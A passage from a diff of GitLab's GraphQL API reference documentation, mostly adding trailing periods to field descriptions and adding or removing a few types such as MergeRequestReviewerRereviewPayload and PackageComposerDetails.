`reference` | String! | Internal reference of the merge request. Returned in shortened format by default. | | `reviewers` | UserConnection | Users from whom a review has been requested. | | `securityAutoFix` | Boolean | Indicates if the merge request is created by @GitLab-Security-Bot. | -| `shouldBeRebased` | Boolean! | Indicates if the merge request will be rebased | -| `shouldRemoveSourceBranch` | Boolean | Indicates if the source branch of the merge request will be deleted after merge | -| `sourceBranch` | String! | Source branch of the merge request | -| `sourceBranchExists` | Boolean! | Indicates if the source branch of the merge request exists | -| `sourceBranchProtected` | Boolean! | Indicates if the source branch is protected | -| `sourceProject` | Project | Source project of the merge request | -| `sourceProjectId` | Int | ID of the merge request source project | -| `squash` | Boolean! | Indicates if squash on merge is enabled | -| `squashOnMerge` | Boolean! | Indicates if squash on merge is enabled | -| `state` | MergeRequestState! | State of the merge request | -| `subscribed` | Boolean! | Indicates if the currently logged in user is subscribed to this merge request | -| `targetBranch` | String! | Target branch of the merge request | -| `targetBranchExists` | Boolean! | Indicates if the target branch of the merge request exists | -| `targetProject` | Project! | Target project of the merge request | -| `targetProjectId` | Int! | ID of the merge request target project | +| `shouldBeRebased` | Boolean! | Indicates if the merge request will be rebased. | +| `shouldRemoveSourceBranch` | Boolean | Indicates if the source branch of the merge request will be deleted after merge. | +| `sourceBranch` | String! | Source branch of the merge request. | +| `sourceBranchExists` | Boolean! | Indicates if the source branch of the merge request exists. | +| `sourceBranchProtected` | Boolean! | Indicates if the source branch is protected. | +| `sourceProject` | Project | Source project of the merge request. | +| `sourceProjectId` | Int | ID of the merge request source project. | +| `squash` | Boolean! | Indicates if squash on merge is enabled. | +| `squashOnMerge` | Boolean! | Indicates if squash on merge is enabled. | +| `state` | MergeRequestState! | State of the merge request. | +| `subscribed` | Boolean! | Indicates if the currently logged in user is subscribed to this merge request. | +| `targetBranch` | String! | Target branch of the merge request. | +| `targetBranchExists` | Boolean! | Indicates if the target branch of the merge request exists. | +| `targetProject` | Project! | Target project of the merge request. | +| `targetProjectId` | Int! | ID of the merge request target project. | | `taskCompletionStatus` | TaskCompletionStatus! | Completion status of tasks | -| `timeEstimate` | Int! | Time estimate of the merge request | -| `title` | String! | Title of the merge request | +| `timeEstimate` | Int! | Time estimate of the merge request. | +| `title` | String! | Title of the merge request. | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | -| `totalTimeSpent` | Int! | Total time reported as spent on the merge request | -| `updatedAt` | Time! | Timestamp of when the merge request was last updated | -| `upvotes` | Int! | Number of upvotes for the merge request | -| `userDiscussionsCount` | Int | Number of user discussions in the merge request | -| `userNotesCount` | Int | User notes count of the merge request | +| `totalTimeSpent` | Int! | Total time reported as spent on the merge request. | +| `updatedAt` | Time! | Timestamp of when the merge request was last updated. | +| `upvotes` | Int! | Number of upvotes for the merge request. | +| `userDiscussionsCount` | Int | Number of user discussions in the merge request. | +| `userNotesCount` | Int | User notes count of the merge request. | | `userPermissions` | MergeRequestPermissions! | Permissions for the current user on the resource | -| `webUrl` | String | Web URL of the merge request | -| `workInProgress` | Boolean! | Indicates if the merge request is a work in progress (WIP) | +| `webUrl` | String | Web URL of the merge request. | +| `workInProgress` | Boolean! | Indicates if the merge request is a work in progress (WIP). | ### MergeRequestCreatePayload @@ -2214,7 +2396,7 @@ Represents the Geo sync and verification state of a Merge Request diff. | `id` | ID! | ID of the MergeRequestDiffRegistry | | `lastSyncFailure` | String | Error message during sync of the MergeRequestDiffRegistry | | `lastSyncedAt` | Time | Timestamp of the most recent successful sync of the MergeRequestDiffRegistry | -| `mergeRequestDiffId` | ID! | ID of the Merge Request diff | +| `mergeRequestDiffId` | ID! | ID of the Merge Request diff. | | `retryAt` | Time | Timestamp after which the MergeRequestDiffRegistry should be resynced | | `retryCount` | Int | Number of consecutive failed sync attempts of the MergeRequestDiffRegistry | | `state` | RegistryState | Sync state of the MergeRequestDiffRegistry | @@ -2235,6 +2417,16 @@ Check permissions for the current user on a merge request. | `revertOnCurrentMergeRequest` | Boolean! | Indicates the user can perform `revert_on_current_merge_request` on this resource | | `updateMergeRequest` | Boolean! | Indicates the user can perform `update_merge_request` on this resource | +### MergeRequestReviewerRereviewPayload + +Autogenerated return type of MergeRequestReviewerRereview. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `mergeRequest` | MergeRequest | The merge request after mutation. | + ### MergeRequestSetAssigneesPayload Autogenerated return type of MergeRequestSetAssignees. @@ -2309,8 +2501,8 @@ Autogenerated return type of MergeRequestUpdate. | Field | Type | Description | | ----- | ---- | ----------- | -| `revision` | String! | Revision | -| `version` | String! | Version | +| `revision` | String! | Revision. | +| `version` | String! | Version. | ### MetricImage @@ -2318,29 +2510,29 @@ Represents a metric image upload. | Field | Type | Description | | ----- | ---- | ----------- | -| `fileName` | String | File name of the metric image | -| `filePath` | String | File path of the metric image | -| `id` | ID! | ID of the metric upload | -| `iid` | ID! | Internal ID of the metric upload | -| `url` | String! | URL of the metric source | +| `fileName` | String | File name of the metric image. | +| `filePath` | String | File path of the metric image. | +| `id` | ID! | ID of the metric upload. | +| `iid` | ID! | Internal ID of the metric upload. | +| `url` | String! | URL of the metric source. | ### MetricsDashboard | Field | Type | Description | | ----- | ---- | ----------- | -| `annotations` | MetricsDashboardAnnotationConnection | Annotations added to the dashboard | -| `path` | String | Path to a file with the dashboard definition | -| `schemaValidationWarnings` | String! => Array | Dashboard schema validation warnings | +| `annotations` | MetricsDashboardAnnotationConnection | Annotations added to the dashboard. | +| `path` | String | Path to a file with the dashboard definition. | +| `schemaValidationWarnings` | String! => Array | Dashboard schema validation warnings. | ### MetricsDashboardAnnotation | Field | Type | Description | | ----- | ---- | ----------- | -| `description` | String | Description of the annotation | -| `endingAt` | Time | Timestamp marking end of annotated time span | -| `id` | ID! | ID of the annotation | -| `panelId` | String | ID of a dashboard panel to which the annotation should be scoped | -| `startingAt` | Time | Timestamp marking start of annotated time span | +| `description` | String | Description of the annotation. | +| `endingAt` | Time | Timestamp marking end of annotated time span. | +| `id` | ID! | ID of the annotation. | +| `panelId` | String | ID of a dashboard panel to which the annotation should be scoped. | +| `startingAt` | Time | Timestamp marking start of annotated time span. | ### Milestone @@ -2348,20 +2540,20 @@ Represents a milestone. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp of milestone creation | -| `description` | String | Description of the milestone | -| `dueDate` | Time | Timestamp of the milestone due date | -| `groupMilestone` | Boolean! | Indicates if milestone is at group level | -| `id` | ID! | ID of the milestone | -| `projectMilestone` | Boolean! | Indicates if milestone is at project level | -| `report` | TimeboxReport | Historically accurate report about the timebox | -| `startDate` | Time | Timestamp of the milestone start date | -| `state` | MilestoneStateEnum! | State of the milestone | -| `stats` | MilestoneStats | Milestone statistics | -| `subgroupMilestone` | Boolean! | Indicates if milestone is at subgroup level | -| `title` | String! | Title of the milestone | -| `updatedAt` | Time! | Timestamp of last milestone update | -| `webPath` | String! | Web path of the milestone | +| `createdAt` | Time! | Timestamp of milestone creation. | +| `description` | String | Description of the milestone. | +| `dueDate` | Time | Timestamp of the milestone due date. | +| `groupMilestone` | Boolean! | Indicates if milestone is at group level. | +| `id` | ID! | ID of the milestone. | +| `projectMilestone` | Boolean! | Indicates if milestone is at project level. | +| `report` | TimeboxReport | Historically accurate report about the timebox. | +| `startDate` | Time | Timestamp of the milestone start date. | +| `state` | MilestoneStateEnum! | State of the milestone. | +| `stats` | MilestoneStats | Milestone statistics. | +| `subgroupMilestone` | Boolean! | Indicates if milestone is at subgroup level. | +| `title` | String! | Title of the milestone. | +| `updatedAt` | Time! | Timestamp of last milestone update. | +| `webPath` | String! | Web path of the milestone. | ### MilestoneStats @@ -2369,36 +2561,36 @@ Contains statistics about a milestone. | Field | Type | Description | | ----- | ---- | ----------- | -| `closedIssuesCount` | Int | Number of closed issues associated with the milestone | -| `totalIssuesCount` | Int | Total number of issues associated with the milestone | +| `closedIssuesCount` | Int | Number of closed issues associated with the milestone. | +| `totalIssuesCount` | Int | Total number of issues associated with the milestone. | ### Namespace | Field | Type | Description | | ----- | ---- | ----------- | -| `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes | -| `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes | +| `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes. | +| `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes. | | `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace. Available only when feature flag `ff_custom_compliance_frameworks` is enabled. | -| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit | -| `description` | String | Description of the namespace | +| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit. | +| `description` | String | Description of the namespace. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `fullName` | String! | Full name of the namespace | -| `fullPath` | ID! | Full path of the namespace | -| `id` | ID! | ID of the namespace | -| `isTemporaryStorageIncreaseEnabled` | Boolean! | Status of the temporary storage increase | -| `lfsEnabled` | Boolean | Indicates if Large File Storage (LFS) is enabled for namespace | -| `name` | String! | Name of the namespace | -| `packageSettings` | PackageSettings | The package settings for the namespace | -| `path` | String! | Path of the namespace | -| `projects` | ProjectConnection! | Projects within this namespace | -| `repositorySizeExcessProjectCount` | Int! | Number of projects in the root namespace where the repository size exceeds the limit | -| `requestAccessEnabled` | Boolean | Indicates if users can request access to namespace | -| `rootStorageStatistics` | RootStorageStatistics | Aggregated storage statistics of the namespace. Only available for root namespaces | -| `storageSizeLimit` | Float | Total storage limit of the root namespace in bytes | -| `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active | -| `totalRepositorySize` | Float | Total repository size of all projects in the root namespace in bytes | -| `totalRepositorySizeExcess` | Float | Total excess repository size of all projects in the root namespace in bytes | -| `visibility` | String | Visibility of the namespace | +| `fullName` | String! | Full name of the namespace. | +| `fullPath` | ID! | Full path of the namespace. | +| `id` | ID! | ID of the namespace. | +| `isTemporaryStorageIncreaseEnabled` | Boolean! | Status of the temporary storage increase. | +| `lfsEnabled` | Boolean | Indicates if Large File Storage (LFS) is enabled for namespace. | +| `name` | String! | Name of the namespace. | +| `packageSettings` | PackageSettings | The package settings for the namespace. | +| `path` | String! | Path of the namespace. | +| `projects` | ProjectConnection! | Projects within this namespace. | +| `repositorySizeExcessProjectCount` | Int! | Number of projects in the root namespace where the repository size exceeds the limit. | +| `requestAccessEnabled` | Boolean | Indicates if users can request access to namespace. | +| `rootStorageStatistics` | RootStorageStatistics | Aggregated storage statistics of the namespace. Only available for root namespaces. | +| `storageSizeLimit` | Float | Total storage limit of the root namespace in bytes. | +| `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active. | +| `totalRepositorySize` | Float | Total repository size of all projects in the root namespace in bytes. | +| `totalRepositorySizeExcess` | Float | Total excess repository size of all projects in the root namespace in bytes. | +| `visibility` | String | Visibility of the namespace. | ### NamespaceIncreaseStorageTemporarilyPayload @@ -2414,23 +2606,23 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User! | User who wrote this note | -| `body` | String! | Content of the note | +| `author` | User! | User who wrote this note. | +| `body` | String! | Content of the note. | | `bodyHtml` | String | The GitLab Flavored Markdown rendering of `note` | -| `confidential` | Boolean | Indicates if this note is confidential | -| `createdAt` | Time! | Timestamp of the note creation | -| `discussion` | Discussion | The discussion this note is a part of | -| `id` | ID! | ID of the note | -| `position` | DiffPosition | The position of this note on a diff | -| `project` | Project | Project associated with the note | -| `resolvable` | Boolean! | Indicates if the object can be resolved | -| `resolved` | Boolean! | Indicates if the object is resolved | -| `resolvedAt` | Time | Timestamp of when the object was resolved | -| `resolvedBy` | User | User who resolved the object | -| `system` | Boolean! | Indicates whether this note was created by the system or by a user | -| `systemNoteIconName` | String | Name of the icon corresponding to a system note | -| `updatedAt` | Time! | Timestamp of the note's last activity | -| `url` | String | URL to view this Note in the Web UI | +| `confidential` | Boolean | Indicates if this note is confidential. | +| `createdAt` | Time! | Timestamp of the note creation. | +| `discussion` | Discussion | The discussion this note is a part of. | +| `id` | NoteID! | ID of the note. | +| `position` | DiffPosition | The position of this note on a diff. | +| `project` | Project | Project associated with the note. | +| `resolvable` | Boolean! | Indicates if the object can be resolved. | +| `resolved` | Boolean! | Indicates if the object is resolved. | +| `resolvedAt` | Time | Timestamp of when the object was resolved. | +| `resolvedBy` | User | User who resolved the object. | +| `system` | Boolean! | Indicates whether this note was created by the system or by a user. | +| `systemNoteIconName` | String | Name of the icon corresponding to a system note. | +| `updatedAt` | Time! | Timestamp of the note's last activity. | +| `url` | String | URL to view this Note in the Web UI. | | `userPermissions` | NotePermissions! | Permissions for the current user on the resource | ### NotePermissions @@ -2465,6 +2657,16 @@ Autogenerated return type of OncallRotationCreate. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `oncallRotation` | IncidentManagementOncallRotation | The on-call rotation. | +### OncallRotationDestroyPayload + +Autogenerated return type of OncallRotationDestroy. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `oncallRotation` | IncidentManagementOncallRotation | The on-call rotation. | + ### OncallScheduleCreatePayload Autogenerated return type of OncallScheduleCreate. @@ -2501,34 +2703,17 @@ Represents a package in the Package Registry. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | The created date. | -| `id` | ID! | The ID of the package. | -| `name` | String! | The name of the package. | -| `packageType` | PackageTypeEnum! | The type of the package. | +| `createdAt` | Time! | Date of creation. | +| `id` | PackagesPackageID! | ID of the package. | +| `metadata` | PackageMetadata | Package metadata. | +| `name` | String! | Name of the package. | +| `packageType` | PackageTypeEnum! | Package type. | | `pipelines` | PipelineConnection | Pipelines that built the package. | | `project` | Project! | Project where the package is stored. | -| `tags` | PackageTagConnection | The package tags. | -| `updatedAt` | Time! | The updated date. | -| `version` | String | The version of the package. | -| `versions` | PackageConnection | The other versions of the package. | - -### PackageComposerDetails - -Details of a Composer package. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `composerMetadatum` | PackageComposerMetadatumType! | The Composer metadatum. | -| `createdAt` | Time! | The created date. | -| `id` | ID! | The ID of the package. | -| `name` | String! | The name of the package. | -| `packageType` | PackageTypeEnum! | The type of the package. | -| `pipelines` | PipelineConnection | Pipelines that built the package. | -| `project` | Project! | Project where the package is stored. | -| `tags` | PackageTagConnection | The package tags. | -| `updatedAt` | Time! | The updated date. | -| `version` | String | The version of the package. | -| `versions` | PackageConnection | The other versions of the package. | +| `tags` | PackageTagConnection | Package tags. | +| `updatedAt` | Time! | Date of most recent update. | +| `version` | String | Version string. | +| `versions` | PackageWithoutVersionsConnection | The other versions of the package. | ### PackageComposerJsonType @@ -2541,15 +2726,6 @@ Represents a composer JSON file. | `type` | String | The type set in the Composer JSON file. | | `version` | String | The version set in the Composer JSON file. | -### PackageComposerMetadatumType - -Composer metadatum. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `composerJson` | PackageComposerJsonType! | Data of the Composer JSON file. | -| `targetSha` | String! | Target SHA of the package. | - ### PackageFileRegistry Represents the Geo sync and verification state of a package file. @@ -2560,7 +2736,7 @@ Represents the Geo sync and verification state of a package file. | `id` | ID! | ID of the PackageFileRegistry | | `lastSyncFailure` | String | Error message during sync of the PackageFileRegistry | | `lastSyncedAt` | Time | Timestamp of the most recent successful sync of the PackageFileRegistry | -| `packageFileId` | ID! | ID of the PackageFile | +| `packageFileId` | ID! | ID of the PackageFile. | | `retryAt` | Time | Timestamp after which the PackageFileRegistry should be resynced | | `retryCount` | Int | Number of consecutive failed sync attempts of the PackageFileRegistry | | `state` | RegistryState | Sync state of the PackageFileRegistry | @@ -2585,6 +2761,23 @@ Represents a package tag. | `name` | String! | The name of the tag. | | `updatedAt` | Time! | The updated date. | +### PackageWithoutVersions + +Represents a version of a package in the Package Registry. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | Time! | Date of creation. | +| `id` | PackagesPackageID! | ID of the package. | +| `metadata` | PackageMetadata | Package metadata. | +| `name` | String! | Name of the package. | +| `packageType` | PackageTypeEnum! | Package type. | +| `pipelines` | PipelineConnection | Pipelines that built the package. | +| `project` | Project! | Project where the package is stored. | +| `tags` | PackageTagConnection | Package tags. | +| `updatedAt` | Time! | Date of most recent update. | +| `version` | String | Version string. | + ### PageInfo Information about pagination in a connection.. @@ -2600,49 +2793,50 @@ Information about pagination in a connection.. | Field | Type | Description | | ----- | ---- | ----------- | -| `active` | Boolean! | Indicates if the pipeline is active | -| `beforeSha` | String | Base SHA of the source branch | -| `cancelable` | Boolean! | Specifies if a pipeline can be canceled | -| `committedAt` | Time | Timestamp of the pipeline's commit | -| `configSource` | PipelineConfigSourceEnum | Config source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE) | -| `coverage` | Float | Coverage percentage | -| `createdAt` | Time! | Timestamp of the pipeline's creation | -| `detailedStatus` | DetailedStatus! | Detailed status of the pipeline | -| `downstream` | PipelineConnection | Pipelines this pipeline will trigger | -| `duration` | Int | Duration of the pipeline in seconds | -| `finishedAt` | Time | Timestamp of the pipeline's completion | -| `id` | ID! | ID of the pipeline | -| `iid` | String! | Internal ID of the pipeline | -| `jobs` | CiJobConnection | Jobs belonging to the pipeline | -| `path` | String | Relative path to the pipeline's page | -| `project` | Project | Project the pipeline belongs to | -| `retryable` | Boolean! | Specifies if a pipeline can be retried | -| `securityReportSummary` | SecurityReportSummary | Vulnerability and scanned resource counts for each security scanner of the pipeline | -| `sha` | String! | SHA of the pipeline's commit | -| `sourceJob` | CiJob | Job where pipeline was triggered from | -| `stages` | CiStageConnection | Stages of the pipeline | -| `startedAt` | Time | Timestamp when the pipeline was started | +| `active` | Boolean! | Indicates if the pipeline is active. | +| `beforeSha` | String | Base SHA of the source branch. | +| `cancelable` | Boolean! | Specifies if a pipeline can be canceled. | +| `committedAt` | Time | Timestamp of the pipeline's commit. | +| `configSource` | PipelineConfigSourceEnum | Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE) | +| `coverage` | Float | Coverage percentage. | +| `createdAt` | Time! | Timestamp of the pipeline's creation. | +| `detailedStatus` | DetailedStatus! | Detailed status of the pipeline. | +| `downstream` | PipelineConnection | Pipelines this pipeline will trigger. | +| `duration` | Int | Duration of the pipeline in seconds. | +| `finishedAt` | Time | Timestamp of the pipeline's completion. | +| `id` | ID! | ID of the pipeline. | +| `iid` | String! | Internal ID of the pipeline. | +| `jobs` | CiJobConnection | Jobs belonging to the pipeline. | +| `path` | String | Relative path to the pipeline's page. | +| `project` | Project | Project the pipeline belongs to. | +| `retryable` | Boolean! | Specifies if a pipeline can be retried. | +| `securityReportSummary` | SecurityReportSummary | Vulnerability and scanned resource counts for each security scanner of the pipeline. | +| `sha` | String! | SHA of the pipeline's commit. | +| `sourceJob` | CiJob | Job where pipeline was triggered from. | +| `stages` | CiStageConnection | Stages of the pipeline. | +| `startedAt` | Time | Timestamp when the pipeline was started. | | `status` | PipelineStatusEnum! | Status of the pipeline (CREATED, WAITING_FOR_RESOURCE, PREPARING, PENDING, RUNNING, FAILED, SUCCESS, CANCELED, SKIPPED, MANUAL, SCHEDULED) | -| `updatedAt` | Time! | Timestamp of the pipeline's last activity | -| `upstream` | Pipeline | Pipeline that triggered the pipeline | -| `user` | User | Pipeline user | +| `updatedAt` | Time! | Timestamp of the pipeline's last activity. | +| `upstream` | Pipeline | Pipeline that triggered the pipeline. | +| `user` | User | Pipeline user. | | `userPermissions` | PipelinePermissions! | Permissions for the current user on the resource | +| `warnings` | Boolean! | Indicates if a pipeline has warnings. | ### PipelineAnalytics | Field | Type | Description | | ----- | ---- | ----------- | -| `monthPipelinesLabels` | String! => Array | Labels for the monthly pipeline count | -| `monthPipelinesSuccessful` | Int! => Array | Total monthly successful pipeline count | -| `monthPipelinesTotals` | Int! => Array | Total monthly pipeline count | -| `pipelineTimesLabels` | String! => Array | Pipeline times labels | -| `pipelineTimesValues` | Int! => Array | Pipeline times | -| `weekPipelinesLabels` | String! => Array | Labels for the weekly pipeline count | -| `weekPipelinesSuccessful` | Int! => Array | Total weekly successful pipeline count | -| `weekPipelinesTotals` | Int! => Array | Total weekly pipeline count | -| `yearPipelinesLabels` | String! => Array | Labels for the yearly pipeline count | -| `yearPipelinesSuccessful` | Int! => Array | Total yearly successful pipeline count | -| `yearPipelinesTotals` | Int! => Array | Total yearly pipeline count | +| `monthPipelinesLabels` | String! => Array | Labels for the monthly pipeline count. | +| `monthPipelinesSuccessful` | Int! => Array | Total monthly successful pipeline count. | +| `monthPipelinesTotals` | Int! => Array | Total monthly pipeline count. | +| `pipelineTimesLabels` | String! => Array | Pipeline times labels. | +| `pipelineTimesValues` | Int! => Array | Pipeline times. | +| `weekPipelinesLabels` | String! => Array | Labels for the weekly pipeline count. | +| `weekPipelinesSuccessful` | Int! => Array | Total weekly successful pipeline count. | +| `weekPipelinesTotals` | Int! => Array | Total weekly pipeline count. | +| `yearPipelinesLabels` | String! => Array | Labels for the yearly pipeline count. | +| `yearPipelinesSuccessful` | Int! => Array | Total yearly successful pipeline count. | +| `yearPipelinesTotals` | Int! => Array | Total yearly pipeline count. | ### PipelineCancelPayload @@ -2684,108 +2878,112 @@ Autogenerated return type of PipelineRetry. | Field | Type | Description | | ----- | ---- | ----------- | -| `actualRepositorySizeLimit` | Float | Size limit for the repository in bytes | -| `alertManagementAlert` | AlertManagementAlert | A single Alert Management alert of the project | -| `alertManagementAlertStatusCounts` | AlertManagementAlertStatusCountsType | Counts of alerts by status for the project | -| `alertManagementAlerts` | AlertManagementAlertConnection | Alert Management alerts of the project | -| `alertManagementIntegrations` | AlertManagementIntegrationConnection | Integrations which can receive alerts for the project | -| `allowMergeOnSkippedPipeline` | Boolean | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs | -| `archived` | Boolean | Indicates the archived status of the project | -| `autocloseReferencedIssues` | Boolean | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically | -| `avatarUrl` | String | URL to avatar image file of the project | -| `board` | Board | A single board of the project | -| `boards` | BoardConnection | Boards of the project | -| `ciCdSettings` | ProjectCiCdSetting | CI/CD settings for the project | -| `clusterAgent` | ClusterAgent | Find a single cluster agent by name | -| `clusterAgents` | ClusterAgentConnection | Cluster agents associated with the project | -| `codeCoverageSummary` | CodeCoverageSummary | Code coverage summary associated with the project | -| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks associated with the project | -| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project | -| `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry | -| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project | -| `containerRepositoriesCount` | Int! | Number of container repositories in the project | -| `createdAt` | Time | Timestamp of the project creation | -| `dastScannerProfiles` | DastScannerProfileConnection | The DAST scanner profiles associated with the project | -| `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project | -| `dastSiteProfiles` | DastSiteProfileConnection | DAST Site Profiles associated with the project | -| `dastSiteValidations` | DastSiteValidationConnection | DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled | -| `description` | String | Short description of the project | +| `actualRepositorySizeLimit` | Float | Size limit for the repository in bytes. | +| `alertManagementAlert` | AlertManagementAlert | A single Alert Management alert of the project. | +| `alertManagementAlertStatusCounts` | AlertManagementAlertStatusCountsType | Counts of alerts by status for the project. | +| `alertManagementAlerts` | AlertManagementAlertConnection | Alert Management alerts of the project. | +| `alertManagementIntegrations` | AlertManagementIntegrationConnection | Integrations which can receive alerts for the project. | +| `alertManagementPayloadFields` | AlertManagementPayloadAlertField! => Array | Extract alert fields from payload for custom mapping. | +| `allowMergeOnSkippedPipeline` | Boolean | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs. | +| `apiFuzzingCiConfiguration` | ApiFuzzingCiConfiguration | API fuzzing configuration for the project. Available only when feature flag `api_fuzzing_configuration_ui` is enabled. | +| `archived` | Boolean | Indicates the archived status of the project. | +| `autocloseReferencedIssues` | Boolean | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically. | +| `avatarUrl` | String | URL to avatar image file of the project. | +| `board` | Board | A single board of the project. | +| `boards` | BoardConnection | Boards of the project. | +| `ciCdSettings` | ProjectCiCdSetting | CI/CD settings for the project. | +| `clusterAgent` | ClusterAgent | Find a single cluster agent by name. | +| `clusterAgents` | ClusterAgentConnection | Cluster agents associated with the project. | +| `codeCoverageSummary` | CodeCoverageSummary | Code coverage summary associated with the project. | +| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks associated with the project. | +| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project. | +| `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry. | +| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project. | +| `containerRepositoriesCount` | Int! | Number of container repositories in the project. | +| `createdAt` | Time | Timestamp of the project creation. | +| `dastProfiles` | DastProfileConnection | DAST Profiles associated with the project. Always returns no nodes if `dast_saved_scans` is disabled. | +| `dastScannerProfiles` | DastScannerProfileConnection | The DAST scanner profiles associated with the project. | +| `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project. | +| `dastSiteProfiles` | DastSiteProfileConnection | DAST Site Profiles associated with the project. | +| `dastSiteValidations` | DastSiteValidationConnection | DAST Site Validations associated with the project. Always returns no nodes if `security_on_demand_scans_site_validation` is disabled. | +| `description` | String | Short description of the project. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `environment` | Environment | A single environment of the project | -| `environments` | EnvironmentConnection | Environments of the project | -| `forksCount` | Int! | Number of times the project has been forked | -| `fullPath` | ID! | Full path of the project | -| `grafanaIntegration` | GrafanaIntegration | Grafana integration details for the project | -| `group` | Group | Group of the project | -| `httpUrlToRepo` | String | URL to connect to the project via HTTPS | -| `id` | ID! | ID of the project | -| `importStatus` | String | Status of import background job of the project | -| `incidentManagementOncallSchedules` | IncidentManagementOncallScheduleConnection | Incident Management On-call schedules of the project | -| `issue` | Issue | A single issue of the project | -| `issueStatusCounts` | IssueStatusCountsType | Counts of issues by status for the project | -| `issues` | IssueConnection | Issues of the project | +| `environment` | Environment | A single environment of the project. | +| `environments` | EnvironmentConnection | Environments of the project. | +| `forksCount` | Int! | Number of times the project has been forked. | +| `fullPath` | ID! | Full path of the project. | +| `grafanaIntegration` | GrafanaIntegration | Grafana integration details for the project. | +| `group` | Group | Group of the project. | +| `httpUrlToRepo` | String | URL to connect to the project via HTTPS. | +| `id` | ID! | ID of the project. | +| `importStatus` | String | Status of import background job of the project. | +| `incidentManagementOncallSchedules` | IncidentManagementOncallScheduleConnection | Incident Management On-call schedules of the project. | +| `issue` | Issue | A single issue of the project. | +| `issueStatusCounts` | IssueStatusCountsType | Counts of issues by status for the project. | +| `issues` | IssueConnection | Issues of the project. | | `issuesEnabled` | Boolean | Indicates if Issues are enabled for the current user | -| `iterations` | IterationConnection | Find iterations | -| `jiraImportStatus` | String | Status of Jira import background job of the project | -| `jiraImports` | JiraImportConnection | Jira imports into the project | -| `jobsEnabled` | Boolean | Indicates if CI/CD pipeline jobs are enabled for the current user | -| `label` | Label | A label available on this project | -| `labels` | LabelConnection | Labels available on this project | -| `lastActivityAt` | Time | Timestamp of the project last activity | -| `lfsEnabled` | Boolean | Indicates if the project has Large File Storage (LFS) enabled | -| `mergeRequest` | MergeRequest | A single merge request of the project | -| `mergeRequests` | MergeRequestConnection | Merge requests of the project | +| `iterations` | IterationConnection | Find iterations. | +| `jiraImportStatus` | String | Status of Jira import background job of the project. | +| `jiraImports` | JiraImportConnection | Jira imports into the project. | +| `jobsEnabled` | Boolean | Indicates if CI/CD pipeline jobs are enabled for the current user. | +| `label` | Label | A label available on this project. | +| `labels` | LabelConnection | Labels available on this project. | +| `lastActivityAt` | Time | Timestamp of the project last activity. | +| `lfsEnabled` | Boolean | Indicates if the project has Large File Storage (LFS) enabled. | +| `mergeRequest` | MergeRequest | A single merge request of the project. | +| `mergeRequests` | MergeRequestConnection | Merge requests of the project. | | `mergeRequestsEnabled` | Boolean | Indicates if Merge Requests are enabled for the current user | | `mergeRequestsFfOnlyEnabled` | Boolean | Indicates if no merge commits should be created and all merges should instead be fast-forwarded, which means that merging is only allowed if the branch could be fast-forwarded. | -| `milestones` | MilestoneConnection | Milestones of the project | -| `name` | String! | Name of the project (without namespace) | -| `nameWithNamespace` | String! | Full name of the project with its namespace | -| `namespace` | Namespace | Namespace of the project | -| `onlyAllowMergeIfAllDiscussionsAreResolved` | Boolean | Indicates if merge requests of the project can only be merged when all the discussions are resolved | -| `onlyAllowMergeIfPipelineSucceeds` | Boolean | Indicates if merge requests of the project can only be merged with successful jobs | -| `openIssuesCount` | Int | Number of open issues for the project | -| `packages` | PackageConnection | Packages of the project | -| `path` | String! | Path of the project | -| `pipeline` | Pipeline | Build pipeline of the project | -| `pipelineAnalytics` | PipelineAnalytics | Pipeline analytics | -| `pipelines` | PipelineConnection | Build pipelines of the project | -| 